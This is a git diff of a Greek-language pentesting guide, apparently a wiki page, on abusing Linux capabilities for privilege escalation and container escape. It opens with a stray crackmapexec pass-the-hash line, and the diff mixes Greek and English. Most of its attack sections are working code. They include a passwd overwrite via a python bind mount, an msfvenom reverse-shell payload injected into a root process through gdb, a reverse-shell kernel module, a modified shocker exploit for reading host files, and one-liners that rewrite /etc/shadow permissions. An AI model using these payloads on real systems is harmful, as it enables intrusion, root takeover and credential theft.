crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```

View File

@ -34,8 +34,8 @@
4. **Bounding (CapBnd)**:
- **Σκοπός**: Θέτει ένα ανώτατο όριο στις δυνατότητες που μπορεί να αποκτήσει μια διαδικασία κατά τη διάρκεια του κύκλου ζωής της.
- **Λειτουργικότητα**: Ακόμη και αν μια διαδικασία έχει μια συγκεκριμένη δυνατότητα στο κληρονομούμενο ή επιτρεπόμενο σύνολο, δεν μπορεί να αποκτήσει αυτή τη δυνατότητα εκτός αν είναι επίσης στο περιοριστικό σύνολο.
- **Χρήση**: Αυτό το σύνολο είναι ιδιαίτερα χρήσιμο για τον περιορισμό της δυνατότητας ανύψωσης δικαιωμάτων μιας διαδικασίας, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας.
- **Λειτουργικότητα**: Ακόμα και αν μια διαδικασία έχει μια συγκεκριμένη δυνατότητα στο κληρονομούμενο ή επιτρεπόμενο σύνολο, δεν μπορεί να αποκτήσει αυτή τη δυνατότητα εκτός αν είναι επίσης στο περιοριστικό σύνολο.
- **Χρήση**: Αυτό το σύνολο είναι ιδιαίτερα χρήσιμο για τον περιορισμό της δυνατότητας ανόδου δικαιωμάτων μιας διαδικασίας, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας.
5. **Ambient (CapAmb)**:
- **Σκοπός**: Επιτρέπει σε ορισμένες δυνατότητες να διατηρούνται κατά τη διάρκεια μιας κλήσης συστήματος `execve`, η οποία συνήθως θα οδηγούσε σε πλήρη επαναφορά των δυνατοτήτων της διαδικασίας.
@ -59,8 +59,8 @@ process.preserve_capabilities_across_execve('CapAmb')
### Δυνατότητες Διαδικασιών
Για να δείτε τις δυνατότητες για μια συγκεκριμένη διαδικασία, χρησιμοποιήστε το αρχείο **status** στον κατάλογο /proc. Καθώς παρέχει περισσότερες λεπτομέρειες, ας περιορίσουμε τις πληροφορίες μόνο στις σχετικές με τις δυνατότητες του Linux.\
Σημειώστε ότι για όλες τις εκτελούμενες διαδικασίες, οι πληροφορίες δυνατότητας διατηρούνται ανά νήμα, ενώ για τα εκτελέσιμα αρχεία στο σύστημα αρχείων αποθηκεύονται σε επεκτάσιμες ιδιότητες.
Για να δείτε τις δυνατότητες για μια συγκεκριμένη διαδικασία, χρησιμοποιήστε το αρχείο **status** στον κατάλογο /proc. Δεδομένου ότι παρέχει περισσότερες λεπτομέρειες, ας περιορίσουμε τις πληροφορίες μόνο στις σχετικές με τις δυνατότητες του Linux.\
Σημειώστε ότι για όλες τις εκτελούμενες διαδικασίες, οι πληροφορίες σχετικά με τις δυνατότητες διατηρούνται ανά νήμα, ενώ για τα εκτελέσιμα αρχεία στο σύστημα αρχείων αποθηκεύονται σε επεκτάσιμες ιδιότητες.
Μπορείτε να βρείτε τις δυνατότητες που ορίζονται στο /usr/include/linux/capability.h
@ -84,7 +84,7 @@ CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
```
Αυτοί οι δεκαεξαδικοί αριθμοί δεν έχουν νόημα. Χρησιμοποιώντας το capsh utility μπορούμε να τους αποκωδικοποιήσουμε στα ονόματα των δυνατοτήτων.
Αυτοί οι δεκαεξαδικοί αριθμοί δεν έχουν νόημα. Χρησιμοποιώντας το εργαλείο capsh μπορούμε να τους αποκωδικοποιήσουμε στα ονόματα των δυνατοτήτων.
```bash
capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
@ -101,7 +101,7 @@ CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
Αν και αυτό λειτουργεί, υπάρχει ένας άλλος και πιο εύκολος τρόπος. Για να δείτε τις δυνατότητες μιας εκτελούμενης διαδικασίας, απλώς χρησιμοποιήστε το **getpcaps** εργαλείο ακολουθούμενο από το αναγνωριστικό της διαδικασίας (PID). Μπορείτε επίσης να παρέχετε μια λίστα αναγνωριστικών διαδικασιών.
Αν και αυτό λειτουργεί, υπάρχει ένας άλλος και πιο εύκολος τρόπος. Για να δείτε τις δυνατότητες μιας εκτελούμενης διαδικασίας, απλά χρησιμοποιήστε το **getpcaps** εργαλείο ακολουθούμενο από το αναγνωριστικό της διαδικασίας (PID). Μπορείτε επίσης να παρέχετε μια λίστα αναγνωριστικών διαδικασιών.
```bash
getpcaps 1234
```
@ -175,7 +175,7 @@ cap_sys_admin,22,25 jrsysadmin
```
## Περιβαλλοντικές Ικανότητες
Με τη σύνταξη του παρακάτω προγράμματος είναι δυνατό να **δημιουργηθεί ένα bash shell μέσα σε ένα περιβάλλον που παρέχει ικανότητες**.
Με τη σύνθεση του παρακάτω προγράμματος είναι δυνατόν να **δημιουργηθεί ένα bash shell μέσα σε ένα περιβάλλον που παρέχει ικανότητες**.
```c:ambient.c
/*
* Test program for the ambient capabilities
@ -271,7 +271,7 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
```
Μέσα στο **bash που εκτελείται από το συμπιεσμένο δυαδικό περιβάλλον** είναι δυνατόν να παρατηρηθούν οι **νέες δυνατότητες** (ένας κανονικός χρήστης δεν θα έχει καμία δυνατότητα στην "τρέχουσα" ενότητα).
Μέσα από το **bash που εκτελείται από το συμπιεσμένο δυαδικό περιβάλλον** είναι δυνατόν να παρατηρηθούν οι **νέες δυνατότητες** (ένας κανονικός χρήστης δεν θα έχει καμία δυνατότητα στην "τρέχουσα" ενότητα).
```bash
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
@ -279,9 +279,9 @@ Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
> [!CAUTION]
> Μπορείτε **μόνο να προσθέσετε ικανότητες που είναι παρούσες** και στα δύο σύνολα, το επιτρεπόμενο και το κληρονομούμενο.
### Ικανότητες ευαισθητοποίησης/Ικανότητες χωρίς ευαισθητοποίηση
### Ικανότητες ευαισθητοποίησης/Ικανότητες ανόητων δυαδικών
Οι **δυαδικοί κώδικες με ευαισθητοποίηση ικανοτήτων δεν θα χρησιμοποιήσουν τις νέες ικανότητες** που παρέχονται από το περιβάλλον, ωστόσο οι **δυαδικοί κώδικες χωρίς ευαισθητοποίηση θα τις χρησιμοποιήσουν** καθώς δεν θα τις απορρίψουν. Αυτό καθιστά τους δυαδικούς κώδικες χωρίς ευαισθητοποίηση ευάλωτους μέσα σε ένα ειδικό περιβάλλον που παρέχει ικανότητες στους δυαδικούς κώδικες.
Οι **δυαδικοί που είναι ευαισθητοποιημένοι στις ικανότητες δεν θα χρησιμοποιήσουν τις νέες ικανότητες** που παρέχονται από το περιβάλλον, ωστόσο οι **δυαδικοί ανόητοι στις ικανότητες θα τις χρησιμοποιήσουν** καθώς δεν θα τις απορρίψουν. Αυτό καθιστά τους δυαδικούς ανόητους στις ικανότητες ευάλωτους μέσα σε ένα ειδικό περιβάλλον που παρέχει ικανότητες σε δυαδικούς.
## Ικανότητες Υπηρεσίας
@ -311,7 +311,7 @@ docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained
```
## Privesc/Container Escape
Οι δυνατότητες είναι χρήσιμες όταν **θέλετε να περιορίσετε τις δικές σας διεργασίες μετά την εκτέλεση προνομιακών λειτουργιών** (π.χ. μετά την εγκατάσταση chroot και τη σύνδεση σε ένα socket). Ωστόσο, μπορούν να εκμεταλλευτούν περνώντας κακόβουλες εντολές ή παραμέτρους που εκτελούνται ως root.
Οι δυνατότητες είναι χρήσιμες όταν **θέλετε να περιορίσετε τις δικές σας διαδικασίες μετά την εκτέλεση προνομιακών λειτουργιών** (π.χ. μετά την εγκατάσταση chroot και τη σύνδεση σε ένα socket). Ωστόσο, μπορούν να εκμεταλλευτούν περνώντας κακόβουλες εντολές ή παραμέτρους που εκτελούνται ως root.
Μπορείτε να επιβάλετε δυνατότητες σε προγράμματα χρησιμοποιώντας `setcap`, και να τις ελέγξετε χρησιμοποιώντας `getcap`:
```bash
@ -346,24 +346,24 @@ getcap /usr/sbin/tcpdump
```
### Η ειδική περίπτωση των "κενών" ικανοτήτων
[Από τα έγγραφα](https://man7.org/linux/man-pages/man7/capabilities.7.html): Σημειώστε ότι μπορεί κανείς να αναθέσει κενές ικανότητες σε ένα αρχείο προγράμματος, και έτσι είναι δυνατό να δημιουργηθεί ένα πρόγραμμα set-user-ID-root που αλλάζει την αποτελεσματική και αποθηκευμένη set-user-ID της διαδικασίας που εκτελεί το πρόγραμμα σε 0, αλλά δεν παρέχει καμία ικανότητα σε αυτή τη διαδικασία. Ή, απλά, αν έχετε ένα δυαδικό που:
[Από τα έγγραφα](https://man7.org/linux/man-pages/man7/capabilities.7.html): Σημειώστε ότι μπορεί κανείς να αναθέσει κενές ικανότητες σε ένα αρχείο προγράμματος, και έτσι είναι δυνατόν να δημιουργηθεί ένα πρόγραμμα με set-user-ID-root που αλλάζει το αποτελεσματικό και αποθηκευμένο set-user-ID της διαδικασίας που εκτελεί το πρόγραμμα σε 0, αλλά δεν παρέχει καμία ικανότητα σε αυτή τη διαδικασία. Ή, απλά, αν έχετε ένα δυαδικό που:
1. δεν ανήκει στον root
2. δεν έχει ρυθμισμένα bits `SUID`/`SGID`
2. δεν έχει bits `SUID`/`SGID` ρυθμισμένα
3. έχει κενές ικανότητες (π.χ.: `getcap myelf` επιστρέφει `myelf =ep`)
τότε **αυτό το δυαδικό θα εκτελείται ως root**.
## CAP_SYS_ADMIN
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** είναι μια εξαιρετικά ισχυρή ικανότητα του Linux, συχνά ισοδύναμη με επίπεδο κοντά στον root λόγω των εκτενών **διοικητικών προνομίων** της, όπως η τοποθέτηση συσκευών ή η χειραγώγηση χαρακτηριστικών του πυρήνα. Ενώ είναι απαραίτητη για κοντέινερ που προσομοιώνουν ολόκληρα συστήματα, **το `CAP_SYS_ADMIN` θέτει σημαντικές προκλήσεις ασφάλειας**, ειδικά σε κοντεϊνερικές περιβάλλοντα, λόγω της δυνατότητάς του για κλιμάκωση προνομίων και συμβιβασμό του συστήματος. Επομένως, η χρήση του απαιτεί αυστηρές αξιολογήσεις ασφάλειας και προσεκτική διαχείριση, με ισχυρή προτίμηση για την απόρριψη αυτής της ικανότητας σε κοντέινερ συγκεκριμένων εφαρμογών για να τηρηθεί η **αρχή της ελάχιστης προνομίας** και να ελαχιστοποιηθεί η επιφάνεια επίθεσης.
**[`CAP_SYS_ADMIN`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** είναι μια πολύ ισχυρή ικανότητα του Linux, συχνά ισοδύναμη με επίπεδο κοντά στον root λόγω των εκτενών **διοικητικών προνομίων** της, όπως η τοποθέτηση συσκευών ή η χειραγώγηση χαρακτηριστικών του πυρήνα. Ενώ είναι απαραίτητη για κοντέινερ που προσομοιώνουν ολόκληρα συστήματα, **το `CAP_SYS_ADMIN` θέτει σημαντικές προκλήσεις ασφάλειας**, ειδικά σε περιβάλλοντα κοντέινερ, λόγω της δυνατότητάς του για κλιμάκωση προνομίων και συμβιβασμό του συστήματος. Επομένως, η χρήση του απαιτεί αυστηρές αξιολογήσεις ασφάλειας και προσεκτική διαχείριση, με ισχυρή προτίμηση για την απόρριψη αυτής της ικανότητας σε κοντέινερ συγκεκριμένων εφαρμογών για να τηρηθεί η **αρχή της ελάχιστης προνομίας** και να ελαχιστοποιηθεί η επιφάνεια επίθεσης.
**Παράδειγμα με δυαδικό**
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep
```
Χρησιμοποιώντας python, μπορείτε να τοποθετήσετε ένα τροποποιημένο _passwd_ αρχείο πάνω από το πραγματικό _passwd_ αρχείο:
Χρησιμοποιώντας το python, μπορείτε να τοποθετήσετε ένα τροποποιημένο _passwd_ αρχείο πάνω από το πραγματικό _passwd_ αρχείο:
```bash
cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
@ -418,7 +418,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk
- **Πλήρης πρόσβαση**
Στην προηγούμενη μέθοδο καταφέραμε να αποκτήσουμε πρόσβαση στον δίσκο του docker host.\
Σε περίπτωση που διαπιστώσετε ότι ο host εκτελεί έναν **ssh** server, μπορείτε να **δημιουργήσετε έναν χρήστη μέσα στον δίσκο του docker host** και να αποκτήσετε πρόσβαση μέσω SSH:
Σε περίπτωση που διαπιστώσετε ότι ο host εκτελεί έναν **ssh** server, θα μπορούσατε να **δημιουργήσετε έναν χρήστη μέσα στον δίσκο του docker host** και να αποκτήσετε πρόσβαση μέσω SSH:
```bash
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
@ -434,7 +434,7 @@ ssh john@172.17.0.1 -p 2222
```
## CAP_SYS_PTRACE
**Αυτό σημαίνει ότι μπορείτε να ξεφύγετε από το κοντέινερ εισάγοντας ένα shellcode μέσα σε κάποια διαδικασία που εκτελείται μέσα στον κεντρικό υπολογιστή.** Για να έχετε πρόσβαση σε διαδικασίες που εκτελούνται μέσα στον κεντρικό υπολογιστή, το κοντέινερ πρέπει να εκτελείται τουλάχιστον με **`--pid=host`**.
**Αυτό σημαίνει ότι μπορείτε να ξεφύγετε από το κοντέινερ εισάγοντας ένα shellcode μέσα σε μια διαδικασία που εκτελείται μέσα στον οικοδεσπότη.** Για να έχετε πρόσβαση σε διαδικασίες που εκτελούνται μέσα στον οικοδεσπότη, το κοντέινερ πρέπει να εκτελείται τουλάχιστον με **`--pid=host`**.
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** παρέχει τη δυνατότητα χρήσης λειτουργιών αποσφαλμάτωσης και παρακολούθησης κλήσεων συστήματος που παρέχονται από το `ptrace(2)` και κλήσεις διασύνδεσης μνήμης όπως το `process_vm_readv(2)` και το `process_vm_writev(2)`. Αν και είναι ισχυρό για διαγνωστικούς και παρακολούθησης σκοπούς, εάν το `CAP_SYS_PTRACE` είναι ενεργοποιημένο χωρίς περιοριστικά μέτρα όπως ένα φίλτρο seccomp στο `ptrace(2)`, μπορεί να υπονομεύσει σημαντικά την ασφάλεια του συστήματος. Συγκεκριμένα, μπορεί να εκμεταλλευτεί για να παρακάμψει άλλους περιορισμούς ασφαλείας, ιδίως αυτούς που επιβάλλονται από το seccomp, όπως αποδεικνύεται από [αποδείξεις έννοιας (PoC) όπως αυτή](https://gist.github.com/thejh/8346f47e359adecd1d53).
@ -536,48 +536,7 @@ libc.ptrace(PTRACE_DETACH, pid, None, None)
```
/usr/bin/gdb = cap_sys_ptrace+ep
```
```markdown
# Δημιουργία Shellcode με msfvenom για Εισαγωγή στη Μνήμη μέσω gdb
Για να δημιουργήσετε ένα shellcode με το msfvenom που θα εισαχθεί στη μνήμη μέσω gdb, μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή:
```bash
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f c
```
Αυτή η εντολή θα δημιουργήσει ένα shellcode που θα συνδεθεί πίσω στον καθορισμένο διευθυντή IP και θύρα.
## Εισαγωγή στη Μνήμη με gdb
Αφού έχετε το shellcode, μπορείτε να το εισάγετε στη μνήμη χρησιμοποιώντας το gdb. Ακολουθήστε τα παρακάτω βήματα:
1. Εκκινήστε το gdb με το εκτελέσιμο αρχείο σας:
```bash
gdb ./your_executable
```
2. Ρυθμίστε ένα breakpoint στο σημείο που θέλετε να εισάγετε το shellcode:
```gdb
(gdb) break *0x<address>
```
3. Ξεκινήστε την εκτέλεση του προγράμματος:
```gdb
(gdb) run
```
4. Όταν φτάσετε στο breakpoint, εισάγετε το shellcode:
```gdb
(gdb) set {char[<shellcode_length>]} 0x<address> = {<your_shellcode>}
```
5. Συνεχίστε την εκτέλεση του προγράμματος:
```gdb
(gdb) continue
```
Αυτό θα εκτελέσει το shellcode που έχετε εισάγει στη μνήμη.
```
Δημιουργήστε ένα shellcode με το msfvenom για να το εισάγετε στη μνήμη μέσω του gdb.
```python
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf = b""
@ -601,7 +560,7 @@ chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
```
Αποσφαλμάτωσε μια διαδικασία root με gdb και αντιγράψτε-επικολλήστε τις προηγουμένως παραγόμενες γραμμές gdb:
Αποσφαλμάτωσε μια διαδικασία root με το gdb και αντιγράψτε-επικολλήστε τις προηγουμένως παραγόμενες γραμμές gdb:
```bash
# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
@ -663,12 +622,12 @@ List **processes** running in the **host** `ps -eaf`
## CAP_SYS_MODULE
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** δίνει τη δυνατότητα σε μια διαδικασία να **φορτώνει και να ξεφορτώνει** πυρήνα modules (`init_module(2)`, `finit_module(2)` και `delete_module(2)` system calls), προσφέροντας άμεση πρόσβαση στις βασικές λειτουργίες του πυρήνα. Αυτή η ικανότητα παρουσιάζει κρίσιμους κινδύνους ασφαλείας, καθώς επιτρέπει την κλιμάκωση προνομίων και την πλήρη συμβιβασμό του συστήματος επιτρέποντας τροποποιήσεις στον πυρήνα, παρακάμπτοντας έτσι όλους τους μηχανισμούς ασφαλείας του Linux, συμπεριλαμβανομένων των Linux Security Modules και της απομόνωσης κοντέινερ.
**Αυτό σημαίνει ότι μπορείτε να** **εισάγετε/αφαιρέσετε** πυρήνα modules από/στον πυρήνα της μηχανής-φιλοξενουμένης.**
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** δίνει τη δυνατότητα σε μια διαδικασία να **φορτώνει και να αφαιρεί πυρήνες (`init_module(2)`, `finit_module(2)` και `delete_module(2)` system calls)**, προσφέροντας άμεση πρόσβαση στις βασικές λειτουργίες του πυρήνα. Αυτή η δυνατότητα παρουσιάζει κρίσιμους κινδύνους ασφαλείας, καθώς επιτρέπει την κλιμάκωση προνομίων και την πλήρη συμβιβασμό του συστήματος επιτρέποντας τροποποιήσεις στον πυρήνα, παρακάμπτοντας έτσι όλους τους μηχανισμούς ασφαλείας του Linux, συμπεριλαμβανομένων των Linux Security Modules και της απομόνωσης κοντέινερ.
**Αυτό σημαίνει ότι μπορείτε να** **εισάγετε/αφαιρέσετε πυρήνες από/στον πυρήνα της μηχανής-φιλοξενουμένης.**
**Παράδειγμα με δυαδικό**
**Example with binary**
Στο παρακάτω παράδειγμα το δυαδικό **`python`** έχει αυτή την ικανότητα.
In the following example the binary **`python`** has this capability.
```bash
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
@ -754,8 +713,8 @@ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
> Ο κενός χαρακτήρας πριν από κάθε λέξη make στο Makefile **πρέπει να είναι ένα tab, όχι κενά**!
Εκτελέστε `make` για να το μεταγλωττίσετε.
```
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
```bash
Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
@ -768,18 +727,18 @@ nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
```
**Ο κώδικας αυτής της τεχνικής αντιγράφηκε από το εργαστήριο "Abusing SYS_MODULE Capability" από** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
**Ο κώδικας αυτής της τεχνικής αντιγράφηκε από το εργαστήριο "Κατάχρηση της δυνατότητας SYS_MODULE" από** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com)
Ένα άλλο παράδειγμα αυτής της τεχνικής μπορεί να βρεθεί στο [https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host](https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host)
## CAP_DAC_READ_SEARCH
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει σε μια διαδικασία να **παρακάμψει τις άδειες για την ανάγνωση αρχείων και για την ανάγνωση και εκτέλεση καταλόγων**. Η κύρια χρήση του είναι για σκοπούς αναζήτησης ή ανάγνωσης αρχείων. Ωστόσο, επιτρέπει επίσης σε μια διαδικασία να χρησιμοποιήσει τη λειτουργία `open_by_handle_at(2)`, η οποία μπορεί να έχει πρόσβαση σε οποιοδήποτε αρχείο, συμπεριλαμβανομένων εκείνων εκτός του mount namespace της διαδικασίας. Ο χειριστής που χρησιμοποιείται στο `open_by_handle_at(2)` υποτίθεται ότι είναι ένας μη διαφανής αναγνωριστής που αποκτάται μέσω του `name_to_handle_at(2)`, αλλά μπορεί να περιλαμβάνει ευαίσθητες πληροφορίες όπως αριθμούς inode που είναι ευάλωτοι σε παραβίαση. Η δυνατότητα εκμετάλλευσης αυτής της ικανότητας, ιδιαίτερα στο πλαίσιο των κοντέινερ Docker, αποδείχθηκε από τον Sebastian Krahmer με την εκμετάλλευση shocker, όπως αναλύθηκε [εδώ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) επιτρέπει σε μια διαδικασία να **παρακάμψει τις άδειες για την ανάγνωση αρχείων και για την ανάγνωση και εκτέλεση καταλόγων**. Η κύρια χρήση του είναι για σκοπούς αναζήτησης ή ανάγνωσης αρχείων. Ωστόσο, επιτρέπει επίσης σε μια διαδικασία να χρησιμοποιήσει τη λειτουργία `open_by_handle_at(2)`, η οποία μπορεί να έχει πρόσβαση σε οποιοδήποτε αρχείο, συμπεριλαμβανομένων εκείνων εκτός του namespace τοποθέτησης της διαδικασίας. Ο χειριστής που χρησιμοποιείται στο `open_by_handle_at(2)` υποτίθεται ότι είναι ένας μη διαφανής αναγνωριστικός αριθμός που αποκτάται μέσω του `name_to_handle_at(2)`, αλλά μπορεί να περιλαμβάνει ευαίσθητες πληροφορίες όπως αριθμούς inode που είναι ευάλωτοι σε παραποίηση. Η δυνατότητα εκμετάλλευσης αυτής της ικανότητας, ιδιαίτερα στο πλαίσιο των κοντέινερ Docker, αποδείχθηκε από τον Sebastian Krahmer με την εκμετάλλευση shocker, όπως αναλύθηκε [εδώ](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
**Αυτό σημαίνει ότι μπορείτε να** **παρακάμψετε τους ελέγχους άδειας ανάγνωσης αρχείων και τους ελέγχους άδειας ανάγνωσης/εκτέλεσης καταλόγων.**
**Παράδειγμα με δυαδικό αρχείο**
Το δυαδικό αρχείο θα μπορεί να διαβάσει οποιοδήποτε αρχείο. Έτσι, αν ένα αρχείο όπως το tar έχει αυτή την ικανότητα, θα μπορεί να διαβάσει το αρχείο shadow:
Το δυαδικό αρχείο θα μπορεί να διαβάσει οποιοδήποτε αρχείο. Έτσι, αν ένα αρχείο όπως το tar έχει αυτή τη δυνατότητα, θα μπορεί να διαβάσει το αρχείο shadow:
```bash
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
@ -788,7 +747,7 @@ tar -cxf shadow.tar.gz
```
**Παράδειγμα με binary2**
Σε αυτή την περίπτωση ας υποθέσουμε ότι το **`python`** δυαδικό αρχείο έχει αυτή την ικανότητα. Για να καταγράψετε τα αρχεία του root μπορείτε να κάνετε:
Σε αυτή την περίπτωση ας υποθέσουμε ότι το **`python`** δυαδικό έχει αυτή την ικανότητα. Για να καταγράψετε τα αρχεία του root μπορείτε να κάνετε:
```python
import os
for r, d, f in os.walk('/root'):
@ -816,9 +775,9 @@ groups=0(root)
```
Μέσα στην προηγούμενη έξοδο μπορείτε να δείτε ότι η δυνατότητα **DAC_READ_SEARCH** είναι ενεργοποιημένη. Ως αποτέλεσμα, το κοντέινερ μπορεί να **debug processes**.
Μπορείτε να μάθετε πώς λειτουργεί η παρακάτω εκμετάλλευση στο [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) αλλά συνοπτικά, η **CAP_DAC_READ_SEARCH** όχι μόνο μας επιτρέπει να διασχίζουμε το σύστημα αρχείων χωρίς ελέγχους αδειών, αλλά επίσης αφαιρεί ρητά οποιουσδήποτε ελέγχους για το _**open_by_handle_at(2)**_ και **θα μπορούσε να επιτρέψει στη διαδικασία μας να έχει πρόσβαση σε ευαίσθητα αρχεία που έχουν ανοιχτεί από άλλες διαδικασίες**.
Μπορείτε να μάθετε πώς λειτουργεί η παρακάτω εκμετάλλευση στο [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) αλλά συνοπτικά, η **CAP_DAC_READ_SEARCH** όχι μόνο μας επιτρέπει να διασχίζουμε το σύστημα αρχείων χωρίς ελέγχους δικαιωμάτων, αλλά επίσης αφαιρεί ρητά οποιουσδήποτε ελέγχους για το _**open_by_handle_at(2)**_ και **θα μπορούσε να επιτρέψει στη διαδικασία μας να έχει πρόσβαση σε ευαίσθητα αρχεία που έχουν ανοιχτεί από άλλες διαδικασίες**.
Η αρχική εκμετάλλευση που εκμεταλλεύεται αυτές τις άδειες για να διαβάσει αρχεία από τον κεντρικό υπολογιστή μπορεί να βρεθεί εδώ: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), η παρακάτω είναι μια **τροποποιημένη έκδοση που σας επιτρέπει να υποδείξετε το αρχείο που θέλετε να διαβάσετε ως πρώτο επιχείρημα και να το αποθηκεύσετε σε ένα αρχείο.**
Η αρχική εκμετάλλευση που εκμεταλλεύεται αυτά τα δικαιώματα για να διαβάσει αρχεία από τον κεντρικό υπολογιστή μπορεί να βρεθεί εδώ: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), η παρακάτω είναι μια **τροποποιημένη έκδοση που σας επιτρέπει να υποδείξετε το αρχείο που θέλετε να διαβάσετε ως πρώτο επιχείρημα και να το αποθηκεύσετε σε ένα αρχείο.**
```c
#include <stdio.h>
#include <sys/types.h>
@ -990,7 +949,7 @@ getcap -r / 2>/dev/null
vim /etc/sudoers #To overwrite it
```
**Παράδειγμα με το δυαδικό 2**
**Παράδειγμα με δυαδικό 2**
Σε αυτό το παράδειγμα, το **`python`** δυαδικό θα έχει αυτή την ικανότητα. Μπορείτε να χρησιμοποιήσετε το python για να παρακάμψετε οποιοδήποτε αρχείο:
```python
@ -1159,7 +1118,7 @@ return 0;
## CAP_CHOWN
**Αυτό σημαίνει ότι είναι δυνατό να αλλάξετε την ιδιοκτησία οποιουδήποτε αρχείου.**
**Αυτό σημαίνει ότι είναι δυνατόν να αλλάξετε την ιδιοκτησία οποιουδήποτε αρχείου.**
**Παράδειγμα με δυαδικό**
@ -1173,11 +1132,11 @@ ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'
```
## CAP_FOWNER
**Αυτό σημαίνει ότι είναι δυνατή η αλλαγή των δικαιωμάτων οποιουδήποτε αρχείου.**
**Αυτό σημαίνει ότι είναι δυνατόν να αλλάξετε την άδεια οποιουδήποτε αρχείου.**
**Παράδειγμα με δυαδικό αρχείο**
**Παράδειγμα με δυαδικό**
Εάν το python έχει αυτή την ικανότητα, μπορείτε να τροποποιήσετε τα δικαιώματα του αρχείου shadow, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κερδίσετε δικαιώματα:
Αν το python έχει αυτή την ικανότητα, μπορείτε να τροποποιήσετε τις άδειες του αρχείου shadow, **να αλλάξετε τον κωδικό πρόσβασης του root**, και να κερδίσετε προνόμια:
```bash
python -c 'import os;os.chmod("/etc/shadow",0666)
```
@ -1219,7 +1178,7 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
```
Μόλις βρείτε ένα αρχείο που μπορείτε να εκμεταλλευτείτε (μέσω ανάγνωσης ή εγγραφής) για να κλιμακώσετε τα δικαιώματα, μπορείτε να **πάρετε ένα shell προσποιούμενοι την ενδιαφέρουσα ομάδα** με:
Αφού βρείτε ένα αρχείο που μπορείτε να εκμεταλλευτείτε (μέσω ανάγνωσης ή εγγραφής) για να κερδίσετε δικαιώματα, μπορείτε να **πάρετε ένα shell προσποιούμενοι την ενδιαφέρουσα ομάδα** με:
```python
import os
os.setgid(42)
@ -1229,7 +1188,7 @@ os.system("/bin/bash")
```bash
cat /etc/shadow
```
Αν είναι εγκατεστημένο το **docker**, θα μπορούσατε να **παριστάνετε** την **ομάδα docker** και να την εκμεταλλευτείτε για να επικοινωνήσετε με το [**docker socket** και να κλιμακώσετε τα δικαιώματα](#writable-docker-socket).
